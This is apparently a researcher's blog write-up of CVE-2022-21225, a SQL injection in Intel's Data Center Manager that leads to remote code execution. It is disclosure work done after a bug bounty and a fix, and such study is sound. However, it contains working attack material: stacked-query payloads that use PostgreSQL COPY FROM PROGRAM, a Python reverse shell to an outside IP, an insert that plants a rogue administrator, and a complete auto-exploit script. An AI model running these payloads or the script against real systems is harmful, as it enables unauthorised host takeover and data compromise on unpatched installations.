Introduction

You’ve probably enjoyed my previous post about bypassing Intel DCM’s authentication mechanism to gain unauthorized access. This gave us the lowest possible “Guest” privileges in the DCM console.

The second part will now show you a possible way to get Remote Code Execution on the underlying host by exploiting an authenticated SQL Injection vulnerability, which is reachable from the same “Guest” level. The SQL Injection itself is easy to exploit, but the road to get there was quite bumpy due to several limitations, which needed to be bypassed.

I submitted this bug through Intel’s bug bounty program and was rewarded another $10,000 bounty. Intel assigned CVE-2022-21225 and published their own advisory about it. However, they made the same AV:A mistake again when calculating the CVSS score for this vulnerability, which is why my advisory contains a different score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

This exploit targets the vulnerable version 4.0.1.45257 of Intel’s DCM but affects all versions below 4.1. A fix has been introduced, at least in version 5.0.0.46307.

Paths to Exploitation

There are three requirements to reach the vulnerable code path:

  1. At least one (server) room must be configured in the console. Reaching the vulnerable code path on a fresh install without a room is impossible.
  2. The server must have passed the 14:30 time mark at least once. So if the server was installed at 14:31, you need to wait another 23 hours and 59 minutes OR trick an admin into following a specific route (more on that in the writeup)
  3. The vulnerability itself is an authenticated SQL Injection. Authenticated, in this case, means the exploit/request must be supplied with a valid JSESSIONID and a valid antiCSRFId. However, even the lowest privileged role guest can exploit this SQL injection.

Let’s reach the sink

Intel’s DCM Console has a lot of web routes, so let’s first explore where the SQL Injection is located and how to get there. The vulnerable servlet is called com.intel.console.server.servlet.DataAccessServlet, which is mapped to different URL patterns as shown in DCM’s web.xml file:

<servlet>
	<display-name>DataAccessServlet</display-name>
	<servlet-name>DataAccessServlet</servlet-name>
	<servlet-class>com.intel.console.server.servlet.DataAccessServlet</servlet-class>
</servlet>
[...]
<servlet-mapping>
	<servlet-name>DataAccessServlet</servlet-name>
	<url-pattern>/DataAccessServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
	<servlet-name>DataAccessServlet</servlet-name>
	<url-pattern>/data/*</url-pattern>
</servlet-mapping>
[...]

The servlet has many operations that can be triggered by adding the action parameter to the query. The vulnerable action is called getRoomRackData:

if (context.op.equals("getRoomRackData")) {
            return getRoomRackData(req, resp);
        }

So the request to trigger the vulnerable method basically looks like the following:

https://[ip-address]:8643/DcmConsole/DataAccessServlet?action=getRoomRackData

The corresponding method declaration can be found in the com.intel.console.server.servlet.DataAccessServlet class:

private String getRoomRackData(HttpServletRequest req, HttpServletResponse resp) throws IOException, ConsoleException, ConsoleStubException {
        RackData[] rackDatas;
        GetRoomRackDataRequestData reqData = null;
        JobContext context = getJobContext(req);
        if (context.jobRequest != null) {
            reqData = (GetRoomRackDataRequestData) context.jobRequest.getRequestObj();
        }
        if (reqData == null) {
            return errorResponse(resp, context, 0, "request data is empty or in invalid format");
        }
        JobResponse response = new JobResponse();
        int snapshotId = reqData.getSnapshotId();
        String dataName = reqData.getDataName();
        int roomId = reqData.getRoomId();
        if (reqData.getSnapshotId() == 0) {
            rackDatas = DataAccess.getRoomRackData(roomId, dataName);
            if (reqData.getAnalysisMode() == 2) {
                ServerPlacementResp result = (ServerPlacementResp) context.session.getAttribute("com.intel.dcm.server_placement");
                if (result == null) {
                    return errorResponse(resp, context, 0, "request data is empty or in invalid format");
                }
                LinkedList<ServerPlacement> lastRes = result.getPlacements();
                if (lastRes == null) {
                    return errorResponse(resp, context, 0, "request data is empty or in invalid format");
                }
                Iterator<ServerPlacement> it = lastRes.iterator();
                while (it.hasNext()) {
                    ServerPlacement sp = it.next();
                    int length = rackDatas.length;
                    int i = 0;
                    while (true) {
                        if (i < length) {
                            RackData rackData = rackDatas[i];
                            if (sp.getRackId() == rackData.getId()) {
                                rackData.setCapacity((int) sp.getSpaceCapacity());
                                rackData.setPowerCapacity((int) sp.getPowerCapacity());
                                rackData.setWeightCapacity((int) sp.getWeightCapacity());
                                if (dataName.equalsIgnoreCase("POWER_CAPACITY")) {
                                    rackData.setPowerCapPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("PEAK_POWER_CAPACITY")) {
                                    rackData.setPowerPeakPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("DERATED_POWER_CAPACITY")) {
                                    rackData.setPowerDeratedPercentage(sp.getPowerCapacityUtil());
                                } else if (dataName.equalsIgnoreCase("WEIGHT_CAPACITY")) {
                                    rackData.setWeightCapPercentage(sp.getWeightCapacityUtil());
                                }
                                rackData.setSpaceCapPercentage(sp.getSpaceCapacityUtil());
                            } else {
                                i++;
                            }
                        }
                    }
                }
            }
        } else {
            rackDatas = LayoutSnapshotManager.getInstance().getRoomRackData(snapshotId, roomId, dataName);
        }
[...]

The vulnerable code path is located at line 56 when an instance of the LayoutSnapshotManager class is created. The request needs to be set up with the following parameters:

  1. A requestObj (line 6) JSON parameter
  2. A snapshotId (line 12) JSON parameter within the requestObj
  3. A dataName (line 13) JSON parameter within the requestObj.
  4. A roomId (line 14) JSON parameter within the requestObj

Notice that all of these parameters are user-controlled, but only one (dataName) has its type set to be a String. This parameter is the one that is later used without any sanitization in a SQL query.

Now, to reach the vulnerable method call on line 56, it is required to pass the if condition on line 15 and take the else path instead. This means the snapshotId must be anything other than 0. So setting this to 1 should pass the check and jump right into the vulnerable method:

{"antiCSRFId":"335178097BB201A86B82DDA03C561360","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test"}}

But that’s not yet sufficient as a valid snapshotId is required (but more on that later):

The getRoomRackData() method is handled by the class com.intel.console.server.dcModeling.LayoutSnapshotManager:

public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
        ResultSet res;
        PreparedStatement statement;
        Connection conn;
        LinkedList ret = new LinkedList<>();
        Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
        if (rackIds.length == 0) {
            return new RackData[0];
        }
        StringBuilder sb = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
        for (int i = 0; i < rackIds.length; i++) {
            if (i > 0) {
                sb.append(",");
            }
            sb.append(rackIds[i]);
        }
        sb.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
        String rackIdsString = sb.toString();
        LinkedList propsList = new LinkedList<>();
        propsList.add("NAME");
        propsList.add("CABINETPDU");
        if (rackDataType.equals("POWER_CAPACITY")) {
            propsList.add("POWER_PERCENTAGE");
        } else if (rackDataType.equals("PEAK_POWER_CAPACITY")) {
            propsList.add("PEAK_POWER_PERCENTAGE");
        } else if (rackDataType.equals("DERATED_POWER_CAPACITY")) {
            propsList.add("DERATED_POWER_PERCENTAGE");
        } else if (rackDataType.equals("SPACE_CAPACITY")) {
            propsList.add("SPACE_PERCENTAGE");
        } else if (rackDataType.equals("WEIGHT_CAPACITY")) {
            propsList.add("WEIGHT_PERCENTAGE");
        } else {
            propsList.add("CAPACITY");
            propsList.add("POWERCAPACITY");
            propsList.add("WEIGHTCAPACITY");
            propsList.add("IT_EQUIPMENT_PWR");
            propsList.add(rackDataType);
        }
        StringBuilder sb2 = new StringBuilder(DefaultExpressionEngine.DEFAULT_INDEX_START);
        for (int i2 = 0; i2 < propsList.size(); i2++) {
            if (i2 > 0) {
                sb2.append(",");
            }
            sb2.append(OperatorName.SHOW_TEXT_LINE);
            sb2.append(propsList.get(i2));
            sb2.append(OperatorName.SHOW_TEXT_LINE);
        }
        try {
            sb2.append(DefaultExpressionEngine.DEFAULT_INDEX_END);
            String propsString = sb2.toString();
            conn = ConnectionProvider.getConnection();
            statement = null;
            res = null;
            try {
                statement = conn.prepareStatement("select entity_id, property_name, property_value from\"T_Entity_Snapshot\" where snapshot_id=? and entity_id in " + rackIdsString + " and property_name in " + propsString + " order by entity_id");
                statement.setInt(1, snapshotId);
                int lastId = -1;
                RackData rackData = null;
                res = statement.executeQuery();
[...]

It is required to pass the check at line 7 to reach the SQL query on line 55. For this to happen, it is necessary to have at least one room configured and one snapshot present (line 6). When passed successfully, the previously mentioned user-controlled dataName parameter (which is passed to this function as the rackDataType string) is added without sanitization into the propsList (line 37), respectively, the sb2 StringBuilder instance (line 45). sb2 is then cast to a String (line 50) and concatenated into a prepared statement (line 55). This is, by the way, an excellent example of how not to use prepared statements ;-).

However, on a fresh installation of the DCM, the snapshot table is empty, which means we won’t be able to reach the vulnerable SQL query by not passing the if condition from line 7:

Let’s Take A snapshot(Id)

So to reach the vulnerable SQL query, we need a “snapshot”, which is defined through a snapshotId . There are essentially two ways to get one:

First option: Via the web route /V1/goto taken from web.xml:

<filter>
		<display-name>RedirectFilter</display-name>
		<filter-name>RedirectFilter</filter-name>
		<filter-class>com.intel.console.server.login.RedirectFilter</filter-class>
	</filter>
	<filter-mapping>
		<filter-name>RedirectFilter</filter-name>
		<url-pattern>/V1/goto</url-pattern>
	</filter-mapping>

This route is handled by the class com.intel.console.server.login.RedirectFilter:

private static final Pattern entityPattern = Pattern.compile("entityid=(\\d+)");

@Override // javax.servlet.Filter
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        int index;
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        String param = httpRequest.getQueryString();
        if (param != null) {
            HttpSession session = httpRequest.getSession();
            String param2 = param.toLowerCase();
            Matcher m = entityPattern.matcher(param2);
            if (m.matches()) {
                int entityId = Integer.valueOf(m.group(1)).intValue();
                try {
                    IdName[] path = DcModel.getEntityPath(entityId);
                    String res = entityId + ",";
                    for (int i = 0; i < path.length; i++) {
                        if (i != 0) {
                            res = res + "_";
                        }
                        res = res + path[i].getId();
                    }
                    sessionPathMap.put(session.getId(), res);
                } catch (Exception e) {
                    sessionPathMap.put(session.getId(), "0");
                }
            } else if ((param2.equals("takesnapshot") || param2.equals("tss")) && UserMgmtHandler.isAdminOrPowerUser(httpRequest)) {
                LayoutSnapshotManager.getInstance().takeSnapshot();
            }
        }
        String url = httpRequest.getRequestURI().replace("?", "");
        if (!(url == null || (index = url.indexOf("goto")) == -1)) {
            httpResponse.sendRedirect(url.substring(0, index));
        }
    }

To get a snapshot, it’s required to reach line 29, which calls the takeSnapshot() method. To get there, you need to:

  • Pass the check on line 9 by simply adding an HTTP parameter
  • NOT include an entityid (line 13)
  • Have an empty takesnapshot or tss query parameter (line 28), and the user to do so must either have the role dcm_admin or dcm_poweruser.

So this means an attacker needs to trick an admin or power user at least once to visit the following URL:

https://[ip-address]:8643/DcmConsole/V1/goto?takesnapshot

This will create the desired snapshot:

However, hackers don’t like to trick users, so there must be a much easier way, right? Luckily, the com.intel.console.server.dcModeling.LayoutSnapshotManager class shows us another interesting route by defining a SnapshotTimerTask, which, also calls the takeSnapshot() method (line 7):

public class SnapshotTimerTask extends TimerTask {
        SnapshotTimerTask() {
        }

        @Override // java.util.TimerTask, java.lang.Runnable
        public void run() {
            LayoutSnapshotManager.this.takeSnapshot();
            try {
                LayoutSnapshotManager.this.cleanExpiredSnapshots();
            } catch (ConsoleDbException e) {
                AppLogger.warn("cleanExpiredSnapshots return exception:" + e.getMessage());
            }
        }
    }

The task is declared as follows:

public synchronized void init() {
        int minute;
        int hour;
        String snapshotTime = Configuration.getProperty("SNAPSHOT_TIME");
        int splitPos = snapshotTime.indexOf(":");
        try {
        } catch (NumberFormatException e) {
            AppLogger.warn("Invalid snapshot time configuration:" + snapshotTime + ". Default time will be used.");
            hour = 14;
            minute = 30;
        }
        if (splitPos > 0) {
            hour = Integer.parseInt(snapshotTime.substring(0, splitPos));
            minute = Integer.parseInt(snapshotTime.substring(splitPos + 1, snapshotTime.length()));
            if (hour < 0 || hour >= 24 || minute < 0 || minute >= 60) {
                throw new NumberFormatException("invalid format");
            }
            Date now = new Date();
            Calendar executionTime = Calendar.getInstance();
            executionTime.set(11, hour);
            executionTime.set(12, minute);
            executionTime.set(13, 0);
            executionTime.set(14, 0);
            if (executionTime.getTime().before(now)) {
                executionTime.add(6, 1);
            }
            if (this.snapshotTimer == null) {
                this.snapshotTimer = new Timer("take_snapshot_timer");
                this.timerTask = new SnapshotTimerTask();
            }
            this.snapshotTimer.scheduleAtFixedRate(this.timerTask, executionTime.getTimeInMillis() - now.getTime(), 86400000);
            return;
        }
        throw new NumberFormatException("invalid format");
    }

The task first tries to read the property SNAPSHOT_TIME from the console.config.xml configuration file (line 4). However, this setting is not present in a default installation of Intel’s DCM across Windows and Linux. This means that the task automatically sets hour to 14 and minute to 30 (lines 9-10 and 20-21), which ultimately results in an automatic task execution every day at 14:30:

So all an attacker has to do is: wait for the 14:30 mark to be passed once.

Fetching the roomId and snapshotId Values

In order to make the getRoomRackIds() (line 6) return a non-empty integer array, a valid roomId is also required:

public RackData[] getRoomRackData(int snapshotId, int roomId, String rackDataType) throws ConsoleDbException {
        ResultSet res;
        PreparedStatement statement;
        Connection conn;
        LinkedList ret = new LinkedList<>();
        Integer[] rackIds = getRoomRackIds(snapshotId, roomId);
        if (rackIds.length == 0) {
            return new RackData[0];
        }

This can be fetched using a request against the route at /DcmConsole/rest/rooms:

The snapshotId can be retrieved using the route /DcmConsole/DcModelServlet?action=getAllSnapshots:

Exploiting the SQL Injection to Gain Remote Code Execution

Using the previously gathered values for the roomId and snapshotId, it’s now possible to pass the if check (line 7) and construct a SQL Injection payload in the dataName parameter. Since DCM uses PostgreSQL a simple PG_SLEEP command can confirm the injection:

{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');SELECT PG_SLEEP(5)--"}}

This results in a database sleep of 5 seconds:

By abusing PostgreSQL’s stacked query functionality, it’s now also possible to use the native COPY command to execute arbitrary commands. First, it’s required to create a temporary table using the following payload:

{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');CREATE TABLE cmd_exec(cmd_output text);--"}}

Followed by a nice reverse shell payload:

{"antiCSRFId":"0C39C25FF37ABE58191709BEDC62593B","requestObj":{"snapshotId":5,"roomId":12,"dataName":"test');COPY cmd_exec FROM PROGRAM 'python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.95\",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''';--"}}

Which finally gets you a shell…

…or even a more dangerous calc.exe:

Bonus Point

In case RCEs are too lame for you, here’s another payload:

');insert into \"T_User\" values (5, 'mrtux','mrtux','d5cfdec3d4df48675960f62846228683e5f4c0d9201aeaedf81a7070b971be2f','CIXnGd3e6leBaN7IQYlpdJ69pMB9KiNz5rCBomG70ouJkLfYFziuRoey8LFwvi1HFNZhuV0L1lKEky93DZ88UhM+oTwinG7UrRPsDIt0Rrc=','hacked',0,null,null,0,0,0,null);--

To add a new administrator to Intel’s DCM:

Let’s Auto-Pwn it

Here’s a full Python script to auto-exploit this issue, given the attacker has at least Guest-level access to Intel’s DCM:

import hashlib
import json

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if __name__ == '__main__':
    ### FILL IN ###
    target = "https://127.0.0.1:8643"
    username = "guest"
    password = "Password0"

    # PUT single quotes into double-single-quotes to escape them
    # linux shell
    command = "python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.178.27:1337\"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")''"

    # windows calc.exe
    #command = "powershell.exe Start-Process -FilePath \"c:\\Windows\\System32\\calc.exe\""

    ### DO NOT EDIT BELOW HERE ###

    # Get a valid roomId first
    print("Fetching a valid roomId: ", end="")
    url = target + "/DcmConsole/rest/rooms"
    headers = {
        "dcmUserName": username,
        "dcmUserPassword": password,
        "dcmAccountType": "0"
    }

    r = requests.get(url, headers=headers, verify=False)
    response = json.loads(r.content)
    roomId = response['content'][0]['id']
    print(str(roomId))

    # Get a valid snapshotId
    url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"

    # Let's convert the password to be able to auth to the app and get the JSESSIONID and the antiCSRFId
    pwd_sha1 = hashlib.sha1(password.encode()).hexdigest()
    pwd_sha256 = (hashlib.sha256(pwd_sha1.encode()).hexdigest())

    url = target+"/DcmConsole/login/login"

    json_body = {
        "antiCSRFId": None,
        "requestObj": {
            "name": username,
            "password": pwd_sha256,
            "type":0
        }
    }

    print("Fetching a valid antiCSRFId: ", end="")
    r = requests.post(url, verify=False, json=json_body)
    response = json.loads(r.content.decode())
    antiCSRFId = response['responseObj']['sessionId']
    print(str(antiCSRFId))

    for item in r.cookies.items():
        jsessionid = item[1]

    # Let's create the cookies
    cookies = dict(JSESSIONID=jsessionid)

    # Get a valid snapshotId
    print("Searching for a valid snapshotId: ", end="")
    url = target+"/DcmConsole/DcModelServlet?action=getAllSnapshots"
    json_body = {
        "antiCSRFId":antiCSRFId,
        "requestObj":{
            "id": -1
        }
    }

    r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    response = json.loads(r.content.decode())
    snapshotIds = response['responseObj']  #[0]['snapshotId']

    for snapshotId in snapshotIds:
        # test whether the snapshotId is bound to an actual room (aka the room must have existed before the snapshot creation)
        url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"

        json_body = {
            "antiCSRFId": antiCSRFId,
            "requestObj": {
                "snapshotId": snapshotId['snapshotId'],
                "roomId": roomId,
                "dataName": "test"
            }
        }

        r = requests.post(url, verify=False, json=json_body, cookies=cookies)
        responseObj = json.loads(r.content)['responseObj']

        # Only proceed if the responseObj is not empty:
        if responseObj:
            snapshotId = snapshotId['snapshotId']
            print(str(snapshotId))
            break

    # Test if the target is vulnerable using PG_SLEEP
    url = target + "/DcmConsole/DataAccessServlet?action=getRoomRackData"

    json_body = {
        "antiCSRFId": antiCSRFId,
        "requestObj": {
            "snapshotId": snapshotId,
            "roomId": roomId,
            "dataName": "test');SELECT PG_SLEEP(5)--"
        }
    }

    print("Testing basic SQL-Injection using PG_SLEEP: ", end="")
    r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    if r.elapsed.total_seconds() > 4.5:
        print("Target " + target + " is vulnerable")

        json_body = {
            "antiCSRFId": antiCSRFId,
            "requestObj": {
                "snapshotId": snapshotId,
                "roomId": roomId,
                "dataName": "test');CREATE TABLE cmd_exec(cmd_output text);--"
            }
        }

        r = requests.post(url, verify=False, json=json_body, cookies=cookies)
        if r.status_code == 200:
            print("Successfully injected cmd_exec table")

            json_body = {
                "antiCSRFId": antiCSRFId,
                "requestObj": {
                    "snapshotId": snapshotId,
                    "roomId": roomId,
                    "dataName": "test');COPY cmd_exec FROM PROGRAM '" + command +"';--"
                }
            }
            print("Triggering command!")
            r = requests.post(url, verify=False, json=json_body, cookies=cookies)
    else:
        print("Target " + target + " doesn't look vulnerable")